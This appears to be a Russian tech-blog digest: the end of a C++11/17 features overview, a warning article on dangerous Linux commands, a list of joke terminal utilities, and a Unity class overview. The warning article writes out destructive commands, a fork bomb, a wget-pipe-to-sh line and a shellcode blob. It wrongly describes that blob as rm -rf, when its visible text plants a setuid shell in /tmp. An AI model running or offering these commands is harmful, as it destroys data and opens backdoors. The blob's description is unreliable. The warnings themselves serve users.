  • Синтаксис ... создает пакет параметров или расширяет уже существующий. Шаблонный пакет параметров — это шаблонный параметр, который принимает ноль или более аргументов-шаблонов (нетипизированных объектов, типов или шаблонов). Шаблон С++ с хотя бы одним пакетом параметров называется вариативный шаблоном с переменным количеством аргументов (variadic template).

 

15. constexpr

 

constexpr uint32_t fibonacci(uint32_t i)
{
return (i <= 1u) ? i : (fibonacci(i - 1) + fibonacci(i - 2));
}

constexpr auto fib_5th_term = fibonacci(6); // равноценно auto fib_5th_term = 8
  • Константные выражения — это выражения, вычисляемые компилятором во время компиляции. В приведенном выше примере функция fibonacci выполняется/вычисляется компилятором во время компиляции, и будет заменена на результат в вызове места.

 

16. Удаленные и дефолтные функции

 

struct demo
{
demo() = default;
};

demo d;
  • У вас вполне закономерно может возникнуть вопрос, зачем вам писать 8+ букв (т.е. = default;), когда можно просто использовать {}, т.е. пустой конструктор? Никто вас не останавливает. Но подумай о конструкторе копирования, операторе копирования присваиванием, и т.д.

  • Пустой конструктор копирования, например, не то же самое, что конструктор копирования по умолчанию (который будет выполнять почленную копию всех членов).

Вы можете ограничить определенную операцию или способ инстанцирования объекта, просто удалив соответствующий метод, как показано ниже:

class demo
{
int m_x;

public:
demo(int x) : m_x(x){};
demo(const demo &) = delete;
demo &operator=(const demo &) = delete;
};

demo obj1{123};
demo obj2 = obj1; // ОШИБКА -- вызов удаленного конструктора копирования
obj2 = obj1; // ОШИБКА -- оператор = удален

В старом С++ вы должны были сделать его приватным. Но теперь в вашем распоряжении есть директива компилятора delete.

 

 

17. Делегирование конструкторов

 

struct demo
{
int m_var;
demo(int var) : m_var(var) {}
demo() : demo(0) {}
};

demo d;
  • В старом C++ вам нужно создавать функцию-член для  инициализации и вызывать ее из всех конструкторов для достижения универсально инициализации.

  • Но начиная с C++11 конструкторы теперь могут вызывать другие конструкторы из того же класса с помощью списка инициализаторов.

 

18. Лямбда-выражения

 

auto generator = [i = 0]() mutable { return ++i; };
cout << generator() << endl; // 1
cout << generator() << endl; // 2
cout << generator() << endl; // 3
  • Я думаю, что эта фича не нуждается в представлении и является фаворитом среди других фич.

  • Теперь вы можете объявлять функции где угодно. И это не будет стоить вам никаких дополнительных накладных расходов. 

 

19. Операторы ветвления с инициализатором

 

  • В более ранних версиях C++ инициализатор либо объявлялся перед оператором и просачивался во внешнюю область видимости, либо использовалась явная область видимости.

  • В C++17 появилась новая форма if/switch, которую можно записать более компактно, а улучшенный контроль области видимости делает некоторые ранее подверженные ошибкам конструкции немного более надежными:

switch (auto STATUS = window.status()) // Объявляем объект прямо в операторе ветвления
{
case PASS:// делаем что-то
break;
case FAIL:// делаем что-то
break;
}
  • Как это работает

{
auto STATUS = window.status();
switch (STATUS)
{
case PASS: // делаем что-то
break;
case FAIL: // делаем что-то
break;
}
}

 

20. std::tuple

 

auto employee = std::make_tuple(32, " Vishal Chovatiya", "Bangalore");
cout << std::get<0>(employee) << endl; // 32
cout << std::get<1>(employee) << endl; // "Vishal Chovatiya"
cout << std::get<2>(employee) << endl; // "Bangalore"
  • Кортежи представляют собой набор разнородных значений фиксированного размера. Доступ к элементам std::tuple производится с помощью std::tie или std::get.

  • Вы также можете выхватывать произвольные и разнородные возвращаемые значения следующим образом:

auto get_employee_detail()
{
// делаем что-нибудь . . .
return std::make_tuple(32, " Vishal Chovatiya", "Bangalore");
}

string name;
std::tie(std::ignore, name, std::ignore) = get_employee_detail();
  • Используйте std::ignore в качестве плейсхолдера для игнорируемых значений. В С++ 17, вместо этого следует использовать структурированные привязки.

 

21. Выведение аргумента шаблона класса

 

std::pair<std::string, int> user = {"M", 25}; // раньше
std::pair user = {"M", 25}; // C++17

std::tuple<std::string, std::string, int> user("M", "Chy", 25); // раньше
std::tuple user2("M", "Chy", 25); // выведение в действии!
  • Автоматическое выведение аргументов шаблона очень похоже на то, как это делается для функций, но теперь также включает и конструкторы классов.

 

Пара слов в заключение 

 

Здесь мы только слегка коснулись огромного набора новых фич и возможности их применения. В современном C++ можно найти еще очень много чего, но тем не менее вы можете считать этот набор хорошей отправной точкой. Современный C++ расширяется не только с точки зрения синтаксиса, но также добавляется гораздо больше других функций, таких как неупорядоченные контейнеры, потоки, регулярное выражение, Chrono, генератор/распределитель случайных чисел, обработка исключений и множество новых алгоритмов STL (например, all_of()any_of()none_of(), и т.д).

Да пребудет с вами C++!



Фото

10 опасных команд Linux, будьте с ними осторожны


Какие самые опасные команды Linux? Нет определенного списка опасных команд Linux, но у вас есть инструменты, которые позволяют вам контролировать и модифицировать каждый аспект вашей операционной системы. Поэтому если вы не знакомы с командами и инструментами, вы можете довольно легко испортить свою систему.

Представьте себе сценарий маленького ребенка в домашнем хозяйстве. Есть множество способов, которыми ребенок может навредить себе. Но значит ли это, что ребенка нельзя выпускать за пределы кроватки?

Здесь родители устанавливают границы и направляют ребенка. Не подходите к огню. Не суйте пальцы в электрические розетки. По мере того, как ребенок растет и набирается опыта, он может включать плиту, разводить огонь в камине и подключать электрические кабели.

Точно так же, если вы знаете несколько известных рискованных команд, вы можете избежать попадания в ловушки троллей, пытающихся обманом заставить вас выполнять команды и испортить вашу систему.

По мере того, как вы приобретете опыт и узнаете значение и использование команд и инструментов, шансы разрушить вашу систему глупыми и хитрыми командами будут уменьшаться.

1. rm -rf /*

Это, вероятно, самая печально известная команда во всех социальных сетях. Вы часто можете встретить троллей, комментирующих это в различных обсуждениях.

Команда rm используется для удаления файлов/каталогов. Флаги -r и -f используются для обозначения рекурсивного удаления всех файлов внутри указанного каталога. Теперь, без привилегий root, эта команда не причинит никакого вреда.

Выполнение команды sudo rm -rf / также не создаст никаких проблем, поскольку большинство дистрибутивов предоставляют опцию отказоустойчивости. Вам нужно указать –no-preserve-root, чтобы навредить системе.

sudo rm -rf / --no-preserve-root

Однако более простой вариант:

sudo rm -rf /*

Выполнение указанных выше команд начнет рекурсивно удалять все файлы в корневом каталоге, и в какой-то определенный момент ваша система зависнет с сообщением «Ошибка удаления файла». После перезагрузки вы будете отправлены на grub-rescue.

2. Перезапишите свой раздел

Если вы знакомы с файловыми системами, вы, вероятно, знаете, что такое /dev/sda. Это (обычно) раздел вашего диска. Оператор используется для записи вывода предыдущей команды в указанное указанное место.

После того, как вы запустите любую команду и запишете ее в /dev/sda, введите:

echo "Hello" > /dev/sda

Это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello».

3. Переместить все в пустоту

Внутри каждой системы Linux есть пустота. И эта пустота — /dev/null.

Все, что вы бросаете в эту область, теряется навсегда. Кроме того, он сообщает об успешном процессе записи после отбрасывания данных, что является основной причиной его опасности.

mv /home/user/* /dev/null

Команда mv используется для перемещения или переименования файлов/каталогов. В приведенной выше команде вы перемещаете все файлы внутри домашнего каталога в пустоту. Все ваши личные данные будут утеряны.

4. Отформатируйте жесткий диск

mkfs — это утилита командной строки, используемая для форматирования дисков и разделов. Это очень удобный инструмент для создания разделов для различных установок. Но та же команда может отформатировать и ваш диск. Форматирование диска означает удаление всех файлов, необходимых для загрузки системы.

mkfs.ext3 /dev/sda

Команда выполняет свою работу, и в итоге вы получаете испорченную систему, которую невозможно восстановить.

5. Вилочная бомба

Эта симпатичная случайная комбинация специальных символов достаточно мощна, чтобы заморозить работающую систему, исчерпав системные ресурсы.

:(){:|:&};:

& — фоновый оператор оболочки. Он информирует оболочку о переводе команды в фоновый режим. Здесь он определяет функцию с именем ‘:’, которая вызывает себя дважды, видимом и фоновом режиме. Этот процесс продолжает выполняться снова и снова, пока система не зависнет.

Как следует из названия, команда разветвляется и в конечном итоге становится цепной бомбой и поглощает все системные ресурсы. Вы будете вынуждены перезагрузить систему, что не так плохо, как другие команды в этом списке.

6. Перезапишите важные файлы конфигурации

Хотя это не команда сама по себе, это скорее мера предосторожности.

Как упоминалось выше, оператор «>» используется для записи в файл. Он просто отбрасывает все, что уже присутствует в файле, и записывает предоставленные ему новые данные.

command > config_filename

Теперь, если вы используете какой-либо важный файл конфигурации в качестве места для записи данных, он заменит содержимое, оставив систему сломанной.

7. Замените раздел мусорными данными

Команда /dev/random в Linux может создавать мусорные данные. Объедините это с командой dd и вашим разделом, и вы получите коктейль Молотова, чтобы поджечь ваш раздел.

dd if=/dev/random of=/dev/sda

Команда dd используется как средство низкоуровневого копирования. Здесь она берет случайные данные /dev/random и заменяет раздел /dev/sda этим мусором.

Подобный эффект достигается при:

cat /dev/urandom > filename

Здесь он берет мусорные данные из /dev/urandom и заполняет файл. Если не завершить его с помощью Ctrl + C, файл может занимать значительное количество места, что может иметь катастрофические последствия для слабых систем.

8. Откройте свою систему для всех

В Linux все является файлом, и каждый файл имеет определенные разрешения.

Вы можете просмотреть разрешения с помощью ls -l. Корневая файловая система недоступна для других пользователей без привилегий. Хотя это обеспечивает безопасную работу в системе, вы можете испортить все с помощью одной единственной команды.

chmod -R 777 /

Приведенная выше команда предоставляет доступ всем, ко всем файлам в корневом разделе. Это означает, что каждый, кто использует систему, имеет права на чтение, запись и выполнение. Это не хорошо для вашей системы.

9. Загрузите и запустите вредоносный контент

Как вы устанавливаете программное обеспечение в Linux? Вы используете официальный менеджер пакетов или готовые к использованию пакеты как Deb/RPM, Snap. Flatpack и др.

Однако некоторые программы не упакованы, и их разработчики предоставляют сценарии оболочки для загрузки и запуска.

Вы загружаете файл оболочки и запускаете его от имени пользователя root, чтобы установить программное обеспечение в своей системе. Вы видите в этом проблему?

Хотя он работает с официальным программным обеспечением, таким как Homebrew, вам следует дважды проверить содержимое загружаемого сценария оболочки, прежде чем запускать его напрямую, как показано ниже:

wget http://malicious_source -O- | sh

Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.

10. Замаскированные команды

Есть много способов запускать команды в терминале Linux. Одним из таких способов являются шестнадцатеричные команды.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Хотя это выглядит причудливо, это закодированная версия команды rm -rf. Её выполнение даст тот же эффект, что и выполнение предыдущей команды. Так что, копируя и вставляя такие причудливые команды из Интернета, будьте осторожны.

Подведение итогов

Есть известный компьютерный термин «проблема существует между клавиатурой и стулом».

Потому что, в конце концов, пользователь (вы) должен убедиться, что вы не разрушите систему, слепо выполнив любую опасную команду.

В задачу UNIX не входит мешать вам прострелить себе ногу. Если вы решите это сделать, то задача UNIX, не будет против.

И эта линия в равной степени относится и к Linux. Вы получаете полный контроль над своей операционной системой. Что вы решите делать, зависит только от вас.

Чтобы обеспечить более безопасный опыт:

  • Попытайтесь понять команды, которые вы собираетесь запустить.
  • Сохраняйте резервную копию системных настроек с помощью Timeshift
  • Сохраняйте резервную копию личных данных (домашний каталог) с помощью DejaDup

Фиксированного списка опасных команд Linux не существует. К этому списку можно добавить еще много всего, и он просто не имеет конца.

 

Источник:  linuxmint.su



Фото

15 бесполезных, но весёлых команд Linux


Linux славится множеством мощных утилит командной строки, упрощающих жизнь администраторам и пользователям. Однако помимо сугубо практичных инструментов, в мире Linux есть и забавные «пасхальные яйца».

Это – команды, от которых мало пользы в работе, но которые способны поднять настроение и продемонстрировать творческую сторону сообщества open source. В этой статье мы рассмотрим 15 таких так называемых бесполезных команд терминала Linux, знакомых многим гуру и способных удивить новичков.

Каждая из этих команд выполняет какую-нибудь смешную или необычную задачу: рисует в консоли паровоз или аквариум, заставляет компьютер «говорить» или раскрашивает текст в радужные цвета. Мы объясним, что делает каждая команда, как ее установить в популярных дистрибутивах (если она вдруг не установлена по умолчанию) и приведем примеры использования. Неважно, только начинаете вы знакомство с Linux или уже считаете себя терминальным экспертом – познакомьтесь с этими веселыми командами и возможно откроете для себя что-то новое!

sl — паровоз вместо «ls»

Команда sl (Steam Locomotive) — классическая терминальная шутка в Linux. Её создали специально для тех, кто по ошибке набирает sl вместо привычной команды ls (вывод списка файлов). Вместо сообщения об ошибке вы увидите, как по вашему терминалу проезжает ASCII-паровоз!

 

 

По умолчанию sl обычно не установлена, но её легко добавить из репозитория. Например, в Debian/Ubuntu достаточно выполнить: sudo apt install sl 

А в Fedora/Red Hat: sudo dnf install sl

После установки наберите в консоли sl и нажмите Enter. Паровоз мигом запыхтит по экрану, оставляя за собой дым из символов.

У sl есть и несколько дополнительных флагов, позволяющих изменить анимацию. Например:

sl -l — отображает более длинный поезд;sl -a — поезд «сбивает» вас с ног;

sl -F — добавляет эффект «падения» при запуске.

Хотя эта команда не приносит практической пользы, она идеально подходит для шуток и демонстрации креативности Linux-сообщества.

cowsay — говорящая корова в терминале

Если вам хочется, чтобы компьютер поговорил с вами... пусть даже в виде ASCII-коровы, пригодится команда cowsay. Она выводит в консоли забавную картинку коровы (или другого персонажа) с «речевым пузырём», внутри которого отображается заданный вами текст. Проще говоря, cowsay превращает любой ваш текст в реплику, сказанную рисованной коровой. Эта утилита давно стала любимой шуткой среди линуксоидов.

 

 

Чтобы воспользоваться cowsay, сначала установите пакет: sudo apt install cowsay (Debian/Ubuntu) или sudo dnf install cowsay (Fedora). После этого введите команду с любым сообщением, например: cowsay Hello, world! – и терминал выдаст вам корову, «говорящую» фразу Hello, world! в рамочке. По умолчанию это корова, но cowsay умеет изображать и других существ. С помощью опции -f можно выбрать фигуру – например, cowsay -f tux покажет пингвина Тукса вместо коровы. Список доступных персонажей можно посмотреть командой cowsay -l. Эта бесполезная команда часто используется вместе с другими: одна из любимых комбинаций – запустить fortune | cowsay, чтобы корова произносила случайную шуточную мудрость.

fortune — генератор случайной мудрости

Любите предсказания из печенья с предсказанием? Команда fortune сделает нечто подобное прямо в терминале Linux. Каждый раз при запуске fortune выводится случайная короткая цитата, шутка или мудрость. База данных этих высказываний обширна, и никогда не знаешь заранее, что попадётся – серьёзное изречение, анекдот или афоризм. Практической пользы немного, но эффект неожиданности и развлекательный момент гарантированы.

 

 

Чтобы начать получать «предсказания», установите утилиту fortune (в некоторых дистрибутивах пакет может называться fortune-mod): sudo apt install fortune или sudo dnf install fortune. Затем просто введите fortune и нажмите Enter – в терминале тут же появится случайное изречение. Каждое новое выполнение выдаёт новую фразу. Некоторые пользователи даже настраивают запуск fortune при каждом открытии терминала, чтобы получать дозу мудрости или юмора в начале сеанса. А в сочетании с cowsay результат становится ещё веселее: команда fortune | cowsay покажет вам корову, провозглашающую выпавшую фортуну.

yes — бесконечное согласие

Команда yes – это своеобразный «вечный повторятель». Её единственное занятие – непрерывно выводить строку y (или любую другую заданную вами строку) до тех пор, пока выполнение не будет остановлено. Если запустить yes без параметров, вы получите бесконечный поток строк с символом y, заполняющих экран. Это, пожалуй, самая буквальная иллюстрация понятия «бесполезная команда» – на первый взгляд от yes нет практической пользы, разве что быстро «завесить» терминал повторяющимися строчками.

Тем не менее, у yes есть исторически полезное назначение: она применяется для автоматического подтверждения ответов «yes» там, где программа требует многократного взаимодействия с пользователем. Классический пример – yes | apt install пакет, чтобы установить что-то без подтверждений. В наши дни такие сценарии редки, но yes по-прежнему присутствует практически во всех дистрибутивах Linux как часть пакета coreutils.

 

Если утилита вдруг отсутствует, установите coreutils через пакетный менеджер. Использование команды предельно простое: yes бесконечно выводит y, а yes No — строчку No (или любой другой переданный аргумент). Остановить выполнение можно сочетанием клавиш Ctrl+C. Ради развлечения или эксперимента можно направить поток yes во вход другой команды, чтобы та получала автоматические ответы – только не забудьте вовремя остановить процесс, иначе он может сильно нагрузить систему.

rev — обратный вывод строк

Как быстро превратить свой текст в зеркальное отражение? Для этого есть команда rev. Её задача проста: она берёт введённую строку и выводит её символы в обратном порядке. Например, если передать ей слово «Linux», на выходе получится «xuniL». rev может работать как с отдельными строками текста, так и с целыми файлами, переворачивая каждую строку задом наперёд. Выглядит занятно, хоть и практической пользы мало – разве что хотите прочитать что-то наоборот.

Специально устанавливать rev обычно не требуется: эта утилита входит в состав базовых пакетов большинства дистрибутивов Linux (например, в пакете util-linux). Чтобы ею воспользоваться, просто введите текст и перенаправьте его через конвейер (pipe) в rev либо укажите имя файла в качестве аргумента. Пример: echo "Hello" | rev выведет olleH. Аналогично, команда rev filename.txt покажет содержимое файла наоборот. Это одна из тех команд, которые существуют скорее для веселья и любопытства – интересно же посмотреть, как звучит фраза, прочитанная с конца к началу!

figlet — текст большими буквами

figlet – легендарная утилита для создания крупных надписей из символов ASCII. Если обычный текст в консоли кажется скучноватым, figlet выведет вашу фразу большими «буквами», составленными из символов. Например, команда figlet Linux отобразит слово “Linux” в виде ASCII-арт баннера. Эта программа существует с начала 90-х и до сих пор радует sysadmin’ов, украшая скрипты и приветственные сообщения.

 

Для использования figlet сначала установите пакет: sudo apt install figlet (в Debian/Ubuntu) или sudo dnf install figlet (в Red Hat/Fedora). Затем просто введите figlet и следом нужный текст в кавычках. По умолчанию надпись будет выполнена стандартным шрифтом ASCII-арта, но figlet поддерживает множество разных шрифтов и настроек. Можно задать максимальную ширину строки опцией -w (чтобы длинные тексты автоматически переносились), или выбрать другой стиль шрифта через -f. Например: figlet -w 120 "Hello, World!" выведет фразу шириной до 120 символов, а figlet -f slant Linux – напишет “Linux” наклонным шрифтом. Экспериментируйте с figlet, и вы быстро поймёте, насколько эффектно обычный текст может смотреться в терминале.

toilet — расширенная версия figlet

Несмотря на шуточное название, утилита toilet не имеет ничего общего с сантехникой. Это «расширенная» версия figlet, позволяющая выводить ASCII-арт текст с дополнительными эффектами и цветами. С помощью toilet вы можете создавать ещё более красивые баннеры в терминале, изменяя шрифты и раскрашивая символы. Почему разработчики назвали её именно toilet, доподлинно неизвестно, но команду полюбили за возможности, которых нет у figlet.

 

 

Установите toilet через пакетный менеджер (sudo apt install toilet или sudo dnf install toilet), затем попробуйте напечатать, например: toilet "Linux". Вы увидите знакомую крупную надпись ASCII, как в figlet. Интересное начинается при использовании опций. Флаг -f позволяет выбрать шрифт (например, toilet -f smblock "Hi" для блочного шрифта), а опция -F добавляет фильтры эффектов. Можно применять несколько фильтров подряд. Например, toilet -f mono12 -F metal "Linux" выведет слово “Linux” металлизированным шрифтом, а toilet -f mono12 -F rainbow -F gay "WOW" раскрасит текст всеми цветами радуги. С toilet можно экспериментировать, добиваясь самых причудливых визуальных результатов в терминале.

cmatrix — эффект «Матрицы» в терминале

Хотите почувствовать себя Нео, глядя в зелёный «цифровой дождь» из фильма «Матрица»? Пакет cmatrix как раз для этого. При запуске cmatrix терминал заполняется непрерывно падающими столбцами зелёных символов, имитируя культовую заставку из «The Matrix». Буквы и цифры непрерывно сменяются, струясь вниз экрана, пока вы не остановите программу. Полезного мало, но смотрится очень эффектно – особенно для поклонников киберпанковской эстетики.

 

cmatrix не входит в стандартный набор утилит, но доступен в репозиториях (установка: sudo apt install cmatrix / sudo dnf install cmatrix). Запустите команду cmatrix, и анимация стартует; прервать её можно сочетанием Ctrl+C. Утилита поддерживает ряд опций для изменения вида «дождя». Например, флаг -a включает асинхронное падение символов (разнесение по времени), -b делает символы полужирными для более яркого эффекта, а -s замедляет скорость потока. Можно даже изменить цвет символов опцией -C (по умолчанию зелёный). Попробуйте cmatrix -b -C red, и вместо зелёных знаков посыпятся красные. С cmatrix легко превратить ваш терминал в экран прямо из культового фильма, пусть и ненадолго.

lolcat — радужная раскраска вывода

lolcat – утилита, которая раскрашивает вывод текста во все цвета радуги. Название отсылает к интернет-мему про разноцветных котов, и работает команда соответствующе: она берёт любой текст на входе и выводит его, плавно меняя цвет каждого символа. Сама по себе lolcat не генерирует ничего нового – её сила именно в связке с другими программами, чьи результаты она превращает в яркий калейдоскоп.

 

 

Чтобы воспользоваться lolcat, установите пакет (sudo apt install lolcat для Debian/Ubuntu или соответствующий пакет в других дистрибутивах). Затем объедините lolcat с любой командой через pipe. Классические примеры: ls -l | lolcat выведет список файлов разноцветно, figlet "Hello" | lolcat напишет слово крупными буквами да ещё и радужной раскраской, а fortune | lolcat выдаст цветной «печеньичный» афоризм. Можно и просто напечатать текст: echo "This is lolcat" | lolcat – и фраза засверкает разными оттенками. Конечно, практической пользы в lolcat мало, но иногда красочно оформленный вывод поднимает настроение, особенно когда хочется оживить скучный терминал.

espeak — озвучивание текста голосом

espeak заставит ваш Linux «заговорить». Это консольный инструмент для синтеза речи, который читает вслух любой заданный ему текст. Конечно, голос у espeak далёк от естественного – скорее напоминает старый роботизированный компьютерный голос – но именно в этом и шарм. Можно заставить систему поздороваться с вами или воспроизвести забавное сообщение через динамики, просто передав фразу в espeak.

Установите программу командой sudo apt install espeak (или sudo dnf install espeak), затем попробуйте: espeak "Привет, как дела?". Если звук настроен, вы услышите, как компьютер произнесёт эту фразу. espeak поддерживает разные языки и голоса – опция -v позволяет выбрать голос. Например, espeak -v en+f3 "Hello, I am your computer" прозвучит женским голосом на английском, а espeak -v ru+m1 "Привет" – мужским голосом на русском. Есть даже шёпот (-v en+whisper) для пугающих эффектов. Команда espeak --voices покажет список доступных голосов. Кроме текста в кавычках, можно озвучить содержимое файла: espeak -f /path/to/file.txt. Несмотря на то, что утилита устаревшая и звучит неестественно, весёлый эффект от её использования гарантирован – особенно если внезапно озвучить что-то неожиданное.

asciiquarium — аквариум в текстовом режиме

Представьте себе аквариум, нарисованный символами – именно это делает утилита asciiquarium. Она запускает в терминале мультяшную сценку: в «воде», обозначенной голубыми буквами, плавают рыбки, колышутся водоросли, проплывают кораблики – и всё это сложено из ASCII-символов. asciiquarium превращает ваш текстовый терминал в мини-аквариум, на который можно залипнуть, наблюдая за передвижениями рыбок.

 

 

Чтобы освежить свой экран таким аквариумом, установите asciiquarium из репозиториев (sudo apt install asciiquariumsudo dnf install asciiquarium) и выполните команду asciiquarium. Анимация начнётся сразу и будет продолжаться бесконечно, пока вы её не остановите. Некоторые клавиши управляют «аквариумом»: R перерисовывает сцену заново (появится новый набор рыбок), P ставит анимацию на паузу, а Q – закрывает программу. Полезности от asciiquarium никакой, но как демонстрация возможностей ASCII-графики и просто милый терминальный «скринсейвер» – эта команда бесподобна.

oneko — котёнок, гоняющийся за курсором

Команда oneko оживит ваш рабочий стол забавным образом: на экране появится маленький нарисованный котёнок, который начнёт преследовать указатель мыши, как будто это мышка. Этот милый «питомец» будет бегать за курсором по всему экрану, пока программа oneko работает. Это старое развлечение из мира UNIX, демонстрирующее, что в Linux есть место не только консольным утилитам, но и забавным графическим игрушкам.

 

 

oneko устанавливается стандартно (sudo apt install oneko / sudo dnf install oneko). Для работы требуется графическая среда X11. После запуска команды oneko в терминале, на экране сразу выскочит котик. Попробуйте подвигать мышкой – котёнок будет неотступно следовать за курсором. Остановить работу можно, нажав Ctrl+C в терминале (или закрыв приложение). У oneko есть и варианты: опция -dog заменит кота на собаку, которая гоняется за косточкой, а -tofocus заставит зверька следить не за курсором, а за активным окном. Хотя oneko и не приносит практической пользы, этот резвящийся котик наверняка вызовет улыбку, особенно у коллег, впервые увидевших его на вашем экране.

factor — разложение числа на множители

factor отличается от остальных команд в нашем списке тем, что имеет вполне определённую функцию – математическую, хоть и редкую в повседневной жизни. Эта утилита мгновенно раскладывает указанное целое число на простые множители. То есть, вводя команду factor 360, вы получите ответ 2 2 2 3 3 5 (потому что 360 = 2³ × 3² × 5). В теории, factor может оказаться полезной для любителей математики или при решении головоломок, но среднему пользователю она, откровенно говоря, почти никогда не понадобится.

 

 

Тем не менее, factor присутствует в Linux практически везде (обычно это часть пакета GNU coreutils), поэтому вы можете попробовать её прямо сейчас без установки. Просто введите factor и через пробел число, чтобы увидеть его простые множители. Попробуйте, например: factor 384746133 – программа моментально выдаст результат 3 53 2419787 (перемножьте их, и правда получится 384746133). Забавно наблюдать, как быстро компьютер расправляется с такими расчётами. А чтобы придать результату более весёлый вид, можно скомбинировать factor с предыдущими нашими героями: factor 360 | figlet нарисует разложение крупными буквами, а factor 360 | figlet | lolcat ещё и раскрасит ответ в радугу.

xeyes — забавные глазки на экране

Ещё одна бессмысленная, но весёлая графическая безделушка из эпохи X11 – программа xeyes. При запуске xeyes на рабочем столе появится окошко с парой нарисованных глаз. Эти большие глазные яблоки будут следить за движением указателя: куда бы вы ни повели курсор мыши, зрачки будут поворачиваться в ту же сторону. Создаётся впечатление, что компьютер наблюдает за вами шутливым взглядом.

 

 

xeyes обычно не установлена по умолчанию, но доступна в репозиториях большинства дистрибутивов (пакет может называться x11-apps или прямо xeyes). Установите её (sudo apt install xeyes / sudo dnf install xeyes) и запустите команду xeyes. На экране отобразятся глазки, которые начнут следить за курсором. Полезность нулевая – разве что развлечься самому или разыграть коллегу, – зато какой олдскульный шарм! Завершить программу можно, закрыв окно с глазами или прервав исполнение в терминале. Учтите, xeyes – очень старая программа, и в современных средах (например, на Wayland без X11) она может не работать. Но на классическом X-сервере эти глазки всё так же забавно пялятся на всё, что вы делаете.

watch "echo -e 'a'" — периодический звуковой сигнал

На десерт – комбинация команд, которая не столько отдельная утилита, сколько хитрый приём. Команда watch умеет периодически запускать указанную ей команду через заданный интервал времени (по умолчанию каждые 2 секунды). Если поручить ей выполнять echo -e 'a', эффект получится забавным: терминал начнёт регулярно издавать звуковой сигнал. Символ a в echo – это «BEL», то есть сигнал системного звонка. Таким образом, watch "echo -e 'a'" будет каждые две секунды запускать echo, который подаёт сигнал «бип». Вы услышите периодическое пикание, пока не остановите watch.

Практического смысла у такого использования watch нет – разве что проверить, работает ли спикер в системе, или подшутить над кем-то. Если запустить эту команду в фоне на чьём-нибудь терминале, компьютер жертвы начнёт загадочно попискивать, вызывая недоумение. Правда, в некоторых эмуляторах терминала звуковой сигнал может быть отключён, и тогда ничего не произойдёт. Но если звук включён, приготовьтесь к настойчивому «динь» каждые пару секунд. Остановить бешеный звонок можно, завершив процесс watch (например, Ctrl+C, если он запущен в вашем терминале). Эта шуточная комбинация напоминает нам, что даже обычные команды Linux можно превратить в источник веселья, если проявить смекалку.

В Linux существует ещё немало забавных утилит и скрытых «пасхалок». Мы рассмотрели лишь 15 наиболее известных «бесполезных» команд, которые, тем не менее, приносят улыбку и делают работу в терминале чуть веселее. Познакомившись с ними, вы не только развлеклись, но и узнали кое-что новое о разнообразии экосистемы Linux. Так что в следующий раз, когда захотите удивить друга или поднять себе настроение за компьютером – смело вспоминайте эти команды и наслаждайтесь их необычным эффектом!

 

Источник:   www.securitylab.ru

 

 



Фото

Основные классы объектов в Unity


Unity — одна из самых популярных игровых платформ, которая позволяет создавать впечатляющие и интерактивные визуальные среды. Основа для разработки в Unity — это объекты, которые могут быть настроены с помощью различных классов. В этой статье мы рассмотрим обзор классов объектов в Unity и расскажем о основных типах, которые используются в разработке.

Классы объектов в Unity — это специальные скрипты, которые определяют поведение отдельных объектов в сцене. Они содержат всю логику и функциональность, необходимую для работы объекта, включая его движение, анимацию, взаимодействие с другими объектами и многое другое. Классы объектов в Unity могут быть написаны на языке C#, который является основным языком программирования для разработки в Unity.

В Unity существует несколько основных типов классов объектов, которые разработчики могут использовать в своих проектах. Это включает в себя классы для обработки рендеринга и графики, классы для управления физикой, классы для создания пользовательского интерфейса и многое другое. Классы объектов в Unity обеспечивают гибкость и мощность разработки, позволяя разработчикам создавать разнообразные и уникальные игровые сцены и элементы.

Основные типы классов в Unity

GameObject: этот класс представляет игровой объект в сцене. Он содержит информацию о позиции, масштабе и повороте объекта, а также его компоненты.

Transform: этот класс представляет преобразование объекта в трехмерном пространстве. Он содержит информацию о позиции, масштабе и повороте объекта.

Component: этот базовый класс используется для создания компонентов, которые могут быть присоединены к игровым объектам. Он содержит основные функции для работы с компонентами, такие как активация и отключение.

Collider: этот класс представляет коллайдер, который может использоваться для обнаружения столкновений с другими объектами. Он может быть использован вместе с физическим движком Unity.

Rigidbody: этот класс представляет физическое тело объекта. Он может использоваться для имитации реалистичной физики объектов в игре.

Camera: этот класс представляет камеру в сцене. Он используется для отображения игровой сцены на экране игрока.

Material: этот класс представляет материал, который определяет внешний вид объекта в сцене. Он содержит информацию о цвете, текстуре и других свойствах материала.

AudioSource: этот класс представляет источник звука, который может воспроизводить звуки в игре.

Animation: этот класс представляет анимацию, которая может быть присоединена к игровым объектам. Он содержит информацию о ключевых кадрах и способе воспроизведения анимации.

GUIElement: этот класс представляет элемент пользовательского интерфейса (UI) в игре. Он может содержать текст, изображения и другие элементы интерфейса.

В Unity доступно множество других классов, которые могут быть использованы для создания разнообразных игровых объектов и эффектов. Это лишь некоторые из основных типов классов, которые вы должны знать при разработке игр в Unity.

Автомобили: классы и их особенности

1. Car — основной класс автомобиля. Он содержит основные атрибуты и функции, которые относятся ко всем автомобилям в проекте. В этом классе можно определить скорость автомобиля, его цвет, размер и другие общие характеристики.

2. PlayerCar — класс, наследующийся от Car. Он добавляет функциональность, специфичную для автомобиля, управляемого игроком. Например, в этом классе можно определить, как должен реагировать автомобиль на команды игрока, какие анимации проигрывать при управлении и т.д.

3. AICar — класс, наследующийся от Car, предназначенный для автомобилей, управляемых искусственным интеллектом. Этот класс может содержать алгоритмы, определяющие поведение автомобиля на треке, его стратегию гонки и так далее.

4. PoliceCar — класс, наследующийся от Car, представляющий полицейскую машину. Он может иметь особые возможности, такие как сирена, возможность преследования других автомобилей и т.д.

5. Truck — класс, наследующийся от Car, представляющий грузовик. Он может иметь большие размеры и дополнительные функции, такие как перевозка груза.

